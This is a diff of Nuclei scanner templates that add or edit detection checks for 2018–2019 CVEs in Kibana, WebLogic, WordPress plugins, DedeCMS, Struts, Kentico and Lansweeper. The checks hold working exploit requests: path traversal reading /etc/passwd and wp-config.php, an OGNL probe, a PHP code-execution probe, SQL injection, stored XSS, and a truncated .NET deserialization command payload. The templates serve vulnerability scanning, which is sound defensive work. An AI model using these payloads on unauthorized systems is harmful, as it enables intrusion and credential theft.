  reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
-  tags: cve,cve2018,spring,traversal
+  tags: cve,cve2018,spring,lfi

 requests:
  - method: GET
@@ -9,7 +9,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
+      - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    matchers:
      - type: word
        words:
@@ -8,7 +8,7 @@ info:

 # Vendor Homepage: https://www.getfuelcms.com/
 # Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
-# Refrence: https://www.exploit-db.com/exploits/47138
+# reference: https://www.exploit-db.com/exploits/47138

 requests:
  - raw:
@@ -0,0 +1,33 @@
+id: CVE-2018-17246
+info:
+  name: Kibana Local File Inclusion
+  author: princechaddha
+  severity: high
+  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
+    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
+  tags: cve,cve2018,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "\"message\":\"An internal server error occurred\""
+        part: body
+
+      - type: word
+        words:
+          - "kbn-name"
+          - "application/json"
+          - "kibana"
+        condition: and
+        part: header
+      - type: status
+        status:
+          - 500
@@ -0,0 +1,26 @@
+id: CVE-2018-18778
+
+info:
+  name: mini_httpd Path Traversal
+  author: dhiyaneshDK
+  severity: high
+  description: ACME mini_httpd before 1.30 lets remote users read arbitrary files.
+  reference: https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/
+  tags: cve,cve2018,lfi
+
+requests:
+  - raw:
+      - |+
+        GET /etc/passwd HTTP/1.1
+        Host:
+        Content-Length: 4
+
+    unsafe: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -4,7 +4,7 @@ info:
  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
  author: pikpikcu
  severity: medium
-  refrence: https://www.cvedetails.com/cve/CVE-2018-19386/
+  reference: https://www.cvedetails.com/cve/CVE-2018-19386/
  tags: cve,cve2018,solarwinds,xss

 requests:
@@ -0,0 +1,22 @@
+id: CVE-2018-2894
+
+info:
+  name: Oracle WebLogic RCE
+  author: geeknik
+  description: Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
+  reference: https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/
+  severity: critical
+  tags: cve,cve2018,oracle,weblogic,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ws_utc/config.do"
+
+    redirects: true
+    matchers:
+      - type: word
+        words:
+          - "* Copyright (c) 2005,2013, Oracle"
+          - "<title>settings</title>"
+        conditon: and
@@ -4,7 +4,7 @@ info:
  author: madrobot
  severity: high
  reference: https://hackerone.com/reports/309124
-  tags: cve,cve2018,nodejs,traversal
+  tags: cve,cve2018,nodejs,lfi

 requests:
  - method: GET
@@ -4,12 +4,13 @@ info:
  name: Rails CVE-2018-3760
  author: 0xrudra
  severity: high
-  tags: cve,cve2018,rails,traversal
+  tags: cve,cve2018,rails,lfi

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/assets/file:%2f%2f/etc/passwd"
+
    matchers-condition: and
    matchers:
      - type: status
@@ -0,0 +1,37 @@
+id: CVE-2018-3810
+
+info:
+  name: WordPress Smart Google Code Inserter Authentication Bypass
+  author: princechaddha
+  severity: critical
+  reference: https://www.exploit-db.com/exploits/43420
+  tags: wordpress,cve,cve2018
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"
+
+    body: 'sgcgoogleanalytic=<script>console.log("Nuclei - Open-source project [github.com/projectdiscovery/nuclei]")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode'
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: word
+        words:
+          - '<script>console.log("Nuclei - Open-source project [github.com/projectdiscovery/nuclei]")</script>'
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: CVE-2018-6910
+
+info:
+  name: DedeCMS 5.7 path disclosure
+  author: pikpikcu
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-6910
+  description: DedeCMS 5.7 allows remote attackers to discover the full path via a direct request for include/downmix.inc.php or inc/inc_archives_functions.php
+  tags: cve,cve2018,dedecms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/include/downmix.inc.php"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "downmix.inc.php"
+          - "Call to undefined function helper()"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2018-7251

 info:
  name: AnchorCMS Error Log Exposure
-  author: pd-team
+  author: pdteam
  severity: medium
  tags: cve,cve2018,anchorcms,logs

@@ -0,0 +1,27 @@
+id: CVE-2018-7422
+
+info:
+  name: WordPress Site Editor Plugin LFI
+  author: LuskaBol
+  severity: high
+  tags: cve,cve2018,wordpress,wp-plugin,lfi
+  description: A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
+  reference: https://www.exploit-db.com/exploits/44340
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "DB_NAME"
+          - "DB_PASSWORD"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -4,12 +4,13 @@ info:
  name: uWSGI PHP Plugin Directory Traversal
  author: madrobot
  severity: high
-  tags: cve,cve2018,uwsgi,php,traversal
+  tags: cve,cve2018,uwsgi,php,lfi

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+
    matchers-condition: and
    matchers:
      - type: status
@@ -0,0 +1,27 @@
+id: CVE-2018-7700
+
+info:
+  name: DedeCMS V5.7SP2 RCE
+  author: pikpikcu
+  severity: high
+  reference: https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
+  tags: cve,cve2018,dedecms,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:field}"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "phpinfo"
+          - "PHP Version"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2018-8006

 info:
  name: Apache ActiveMQ XSS
-  author: pd-team
+  author: pdteam
  severity: medium
  tags: cve,cve2018,apache,activemq,xss

@@ -0,0 +1,27 @@
+id: CVE-2018-8770
+info:
+  name: Cobub Razor 0.8.0 Physical path Leakage Vulnerability
+  author: princechaddha
+  severity: medium
+  description: Physical path Leakage exists in Western Bridge Cobub Razor 0.8.0 via generate.php, controllers/getConfigTest.php, controllers/getUpdateTest.php, controllers/postclientdataTest.php, controllers/posterrorTest.php, controllers/posteventTest.php, controllers/posttagTest.php, controllers/postusinglogTest.php, fixtures/Controller_fixt.php, fixtures/Controller_fixt2.php, fixtures/view_fixt2.php, libs/ipTest.php, or models/commonDbfix.php in tests/.
+  reference: |
+    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770
+    - https://www.exploit-db.com/exploits/44495/
+  tags: cve,cve2018,cobub,razor,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tests/generate.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Fatal error: Class 'PHPUnit_Framework_TestCase' not found in "
+          - "/application/third_party/CIUnit/libraries/CIUnitTestCase.php on line"
+        condition: and
+        part: header
+      - type: status
+        status:
+          - 200
@@ -4,7 +4,9 @@ info:
  name: Apache Tomcat XSS
  author: pikpikcu
  severity: low
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-0221
+  reference: |
+    - https://seclists.org/fulldisclosure/2019/May/50
+    - https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
  description: |
      The SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and
      7.0.0 to 7.0.93 echoes user provided data without escaping and is,
@@ -0,0 +1,21 @@
+id: CVE-2019-0230
+
+info:
+  name: Apache Struts RCE
+  author: geeknik
+  description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
+  reference:
+    - https://cwiki.apache.org/confluence/display/WW/S2-059
+    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
+  severity: high
+  tags: struts,rce,cve,cve2019
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?id=nuclei%25{128*128}"
+
+    matchers:
+      - type: word
+        words:
+          - "nuclei16384"
@@ -0,0 +1,35 @@
+id: CVE-2019-10068
+
+info:
+  name: Kentico CMS Insecure Deserialization RCE
+  author: davidmckennirey
+  severity: critical
+  description: |
+    Searches for Kentico CMS installations that are vulnerable to a .NET deserialization vulnerability that could be exploited to achieve remote command execution. Credit to Manoj Cherukuri and Justin LeMay from Aon Cyber Solutions for discovery of the vulnerability.
+  tags: cve,cve2019,rce,deserialization,kentico,iis
+  reference: |
+    - https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/
+    - https://packetstormsecurity.com/files/157588/Kentico-CMS-12.0.14-Remote-Command-Execution.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-10068
+    - https://github.com/rapid7/metasploit-framework/pull/13107
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: "stagingTaskData=%3cSOAP-ENV%3aEnvelope%20xmlns%3axsi%3d%22http%3a//www.w3.org/2001/XMLSchema-instance%22%20xmlns%3axsd%3d%22http%3a//www.w3.org/2001/XMLSchema%22%20xmlns%3aSOAP-ENC%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%20xmlns%3aSOAP-ENV%3d%22http%3a//schemas.xmlsoap.org/soap/envelope/%22%20xmlns%3aclr%3d%22http%3a//schemas.microsoft.com/soap/encoding/clr/1.0%22%20SOAP-ENV%3aencodingStyle%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%3e%0a%20%20%3cSOAP-ENV%3aBody%3e%0a%20%20%20%20%3ca1%3aWindowsIdentity%20id%3d%22ref-1%22%20xmlns%3aa1%3d%22http%3a//schemas.microsoft.com/clr/nsassem/System.Security.Principal/mscorlib%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db77a5c561934e089%22%3e%0a%20%20%20%20%20%20%3cSystem.Security.ClaimsIdentity.actor%20id%3d%22ref-2%22%20xmlns%3d%22%22%20xsi%3atype%3d%22xsd%3astring%22%3eAAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAALoXL2MgZWNobyBUVnFRQUFNQUFBQUVBQUFBLy84QUFMZ0FBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTZBQUFBQTRmdWc0QXRBbk5JYmdCVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFBQUFBQUFBQUNUT1BEVzExbWVoZGRabm9YWFdaNkZyRVdTaGROWm5vVlVSWkNGM2xtZWhiaEdsSVhjV1o2RnVFYWFoZFJabm9YWFdaK0ZIbG1laFZSUnc0WGZXWjZGZzNxdWhmOVpub1VRWDVpRjFsbWVoVkpwWTJqWFdaNkZBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQkZBQUJNQVFRQU81UnRTZ0FBQUFBQUFBQUE0QUFQQVFzQkJnQUFzQUFBQUtBQUFBQUFBQUNiaFFBQUFCQUFBQURBQUFBQUFFQUFBQkFBQUFBUUFBQUVBQUFBQUFBQUFBUUFBQUFBQUFBQUFHQUJBQUFRQUFBQUFBQUFBZ0FBQUFBQUVBQUFFQUFBQUFBUUFBQVFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFiTWNBQUhnQUFBQUFVQUVBeUFjQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU9EQkFBQWNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQURnQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTG5SbGVIUUFBQUJtcVFBQUFCQUFBQUN3QUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQVlDNXlaR0YwWVFBQTVnOEFBQURBQUFBQUVBQUFBTUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1WkdGMFlRQUFBRnh3QUFBQTBBQUFBRUFBQUFEUUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFEQUxuSnpjbU1BQUFESUJ3QUFBRkFCQUFBUUFBQUFFQUVBQUFBQUFBQUFBQUFBQUFBQVFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQLine truncated
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+
+      - type: word
+        words:
+          - 'System.InvalidCastException'
+          - 'System.Web.Services.Protocols.SoapException'
+        part: body
+        condition: and
@@ -2,8 +2,12 @@ id: CVE-2019-10092

 info:
  name: Apache mod_proxy HTML Injection / Partial XSS
-  author: pd-team
+  author: pdteam
  severity: medium
+  description: In Apache HTTP Server 2.4.0-2.4.39, a limited cross-site scripting issue was reported affecting the mod_proxy error page. An attacker could cause the link on the error page to be malformed and instead point to a page of their choice. This would only be exploitable where a server was set up with proxying enabled but was misconfigured in such a way that the Proxy Error page was displayed.
+  reference: |
+    - https://github.com/DrunkenShells/Disclosures/tree/master/CVE-2019-10092-Limited%20Cross-Site%20Scripting%20in%20mod_proxy%20Error%20Page-Apache%20httpd
+    - https://httpd.apache.org/security/vulnerabilities_24.html
  tags: cve,cve2019,apache,htmli

 requests:
@@ -5,9 +5,10 @@ info:
  author: 0xceeb
  severity: medium
  tags: cve,cve2019,debug
-
-  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
-  # http://mmcloughlin.com/posts/your-pprof-is-showing
+  description: The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. The go pprof endpoint is exposed over the Kubelet's healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration.
+  reference:
+    - https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
+    - http://mmcloughlin.com/posts/your-pprof-is-showing

 requests:
  - method: GET
@@ -5,7 +5,7 @@ info:
  author: organiccrap
  severity: high
  reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
-  tags: cve,cve2019,pulsesecure,traversal
+  tags: cve,cve2019,pulsesecure,lfi

 requests:
  - method: GET
@@ -6,20 +6,21 @@ info:
  severity: critical
  tags: cve,cve2019,atlassian,rce

-  # Atlassian Crowd and Crowd Data Center
-  # had the pdkinstall development plugin incorrectly enabled in release builds.
-  # Attackers who can send unauthenticated or authenticated requests
-  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
-  # to install arbitrary plugins, which permits remote code execution on
-  # systems running a vulnerable version of Crowd or Crowd Data Center.
-  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
-  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
-  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
-  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
-  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
-  # -
-  # References:
-  # > https://github.com/jas502n/CVE-2019-11580
+  description: |
+    Atlassian Crowd and Crowd Data Center
+    had the pdkinstall development plugin incorrectly enabled in release builds.
+    Attackers who can send unauthenticated or authenticated requests
+    to a Crowd or Crowd Data Center instance can exploit this vulnerability
+    to install arbitrary plugins, which permits remote code execution on
+    systems running a vulnerable version of Crowd or Crowd Data Center.
+    All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+    from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+    from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+    from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+    and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  reference:
+    - https://github.com/jas502n/CVE-2019-11580
+    - https://jira.atlassian.com/browse/CWD-5388

 requests:
  - method: GET
@@ -12,7 +12,7 @@ info:
    a payload into the plugin settings, such as the
    yuzo_related_post_css_and_style setting.

-    References:
+  reference: |
    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
    - https://wpscan.com/vulnerability/9254
  tags: cve,cve2019,wordpress,wp-plugin,xss
@@ -33,12 +33,13 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Upgrade-Insecure-Requests: 1

+    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
-          - 'contains(body_2, "<script>alert(0);</script>") == true'
+          - 'contains(body_2, "<script>alert(0);</script>")'

      - type: dsl
        dsl:
-          - "contains(tolower(all_headers_2), 'text/html') == true"
+          - "contains(tolower(all_headers_2), 'text/html')"
@@ -5,6 +5,11 @@ info:
  author: madrobot
  severity: high
  tags: cve,cve2019,lfi
+  description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.
+  reference: |
+    http://packetstormsecurity.com/files/153079/Deltek-Maconomy-2.2.5-Local-File-Inclusion.html
+    https://github.com/JameelNabbo/exploits/blob/master/Maconomy%20Erp%20local%20file%20include.txt
+    https://github.com/ras313/CVE-2019-12314/security/advisories/GHSA-8762-rf4g-23xm

 requests:
  - method: GET
@@ -4,11 +4,10 @@ info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
  author: pikpikcu
  severity: medium
+  description: Web Port 1.19.1 allows XSS via the /log type parameter.
  tags: cve,cve2019,xss
-
-# Vendor Homepage: https://webport.se/
-# Software Link: https://webport.se/nedladdningar/
-# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+  reference: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+  software: https://webport.se/nedladdningar/

 requests:
  - method: GET
@@ -1,10 +1,12 @@
 id: CVE-2019-12593

 info:
-  name: IIceWarp <=10.4.4 - Local File Inclusion
+  name: IceWarp <=10.4.4 - Local File Inclusion
  author: pikpikcu
  severity: high
+  description: IceWarp Mail Server through 10.4.4 is prone to a local file inclusion vulnerability via webmail/calendar/minimizer/index.php?style=..%5c directory traversal.
  tags: cve,cve2019,lfi
+  reference: https://github.com/JameelNabbo/exploits/blob/master/IceWarp%20%3C%3D10.4.4%20local%20file%20include.txt

  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
  # Google Dork:-Powered By IceWarp 10.4.4
@@ -0,0 +1,31 @@
+id: CVE-2019-13462
+
+info:
+  name: Lansweeper through 7.1.115.4 unauthenticated SQL injection
+  author: divya_mudgal
+  severity: critical
+  reference: https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
+  description: Lansweeper web application through 7.1.115.4 allows unauthenticated SQL injection via the "row" and "column" GET parameter to the /WidgetHandler.ashx?MethodName=Sort&ID=1&column=INJECTION&row=INJECTION URI.
+  tags: cve,cve2019,sqli,lansweeper
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "~lansweeperdb~"
+        part: body
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 500